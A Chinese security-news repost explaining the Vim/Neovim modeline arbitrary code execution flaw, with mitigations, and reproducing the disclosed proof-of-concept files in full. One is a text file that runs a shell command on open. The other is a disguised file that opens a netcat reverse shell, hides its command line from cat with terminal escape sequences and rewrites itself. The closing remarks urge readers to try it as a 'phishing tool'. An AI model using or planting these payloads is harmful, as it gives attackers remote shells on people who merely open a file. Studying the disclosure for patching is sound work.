文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了

xiannv  2024天前

犹记前些日子,微软的记事本文本编辑器爆出了本地代码执行漏洞。

Google Project Zero研究员Tavis Ormandy宣布在微软的记事本文本编辑器中发现代码执行漏洞。

1.jpg

可以看见,他在notepad(记事本)程序下启动了一个cmd.exe 

2.jpg

由于Ormandy是一名专业漏洞挖掘人员,并且还吸引了Zerodium的创始人出面评论,证实了黑客发现的问题类型并不罕见,因此也证实了该漏洞存在性极高。


而就在昨日,推上再现一则猛料,名为Arminius的安全研究员发现Vim/Neovim的本地代码执行漏洞。。

3.jpg

作为linux的上古神器级的文本编辑器,就这样曝任意代码执行漏洞并且还被披露poc了!

附上了github链接。(阅读原文跳转)

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

4.jpg

公布POC

第一种:

1、创建poc.txt

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

5.jpg

2、确保未禁用modeline选项(:set modeline)

3、在vim中打开该txt

vim poc.txt

然后系统会执行 uname -a

第二种,创建反弹shell

该PoC描述了一种真实的攻击方法,其中一旦用户打开文件就启动反弹shell。 为了隐藏攻击,文件将在打开时立即重写。 

此外,当使用cat打印内容时,PoC使用终端转义序列来隐藏命令行。

 (而使用cat -v可以显示实际内容。)

shell.txt:

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

6.jpg

ps:我不是故意用记事本打开的。


细节

命令行功能允许在文件的开头或结尾附近指定自定义编辑器选项。 

默认情况下启用此功能并应用于所有文件类型,包括plain .txt。 一个典型的模式:

/* vim: set textwidth=80 tabstop=8: */

出于安全原因,在modelines中只允许选项的子集,如果选项值包含表达式,则它在沙箱中执行:

出于安全原因,不支持除“set”之外的其他命令(有人可能会使用modelines创建特洛伊木马文本文件。 并非所有选择可以设定。 对于某些选项,设置了一个标志,以便在使用时使用|沙盒| 是有效的。

https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/options.txt#L582


沙箱旨在防止副作用:

'foldexpr','formatexpr','includeexpr','indentexpr','statusline'和'foldtext'选项可以在沙箱中评估。 这意味着你是保护免受这些具有令人讨厌的副作用的表达。 这给了一些从模式行设置这些选项时的安全性。

https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/eval.txt#L13050

但是,:source!命令(使用bang [ !]修饰符)可用于绕过沙箱。它从给定文件中读取并执行命令,就像 手动键入,在沙箱离开后运行它们一样。

:so[urce]! {file}  

从{file}读取Vim命令。 这些是命令从您正常模式执行,就像您输入他们一样。

https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/repeat.txt#L182

因此,可以简单地构建一个在沙箱外部运行代码的模式行:

# vim: set foldexpr=execute('\:source! some_file'):

Neovim还需要一个额外的步骤,即execute():

6.jpg

在这里,assert_fails()也可以使用,也需要{cmd}参数:


7.jpg

以下模式行使用fold表达式来运行source! %以执行当前文件,该文件又uname -a || "(garbage)"作为shell命令执行:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="


此外,仅Neovim功能nvim_input()易受相同方法的影响,例如:


 vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0


(过去,其他与模式相关的漏洞已在Vim中修补 - 请参阅CVE-2002-1377,CVE-2016-1248。)

补丁(建议还是打一下)


除了修补之外,建议在vimrc(set nomodeline)中禁用model,使用securemodelines 插件,或者禁用modelineexpr(因为补丁8.1.1366,仅限Vim)以禁用model中的表达式。


实际上,工具类的本地代码执行漏洞也不止上面几兄弟,像此前的linux的less工具同样存在代码执行漏洞

科普:less工具是对文件或其它输出进行分页显示的工具,应该说是linux正统查看文件内容的工具,功能极其强大。less的用法比起 more 更加的有弹性。在 more 的时候,我们并没有办法向前面翻, 只能往后面看,但若使用了 less 时,就可以使用 [pageup] [pagedown] 等按键的功能来往前往后翻看文件,更容易用来查看一个文件的内容!除此之外,在less里头可以拥有更多的搜索功能,不止可以向下搜,也可以向上搜。

试试吧,钓鱼利器,注意安全。

高度评估这个会用来大批量钓鱼,我赌1个亿。

◆来源:黑鸟

◆本文版权归原作者所有,如有侵权请联系我们及时删除

最新评论

hausa  :  兄弟情深~
2000天前 回复
昵称
邮箱
提交评论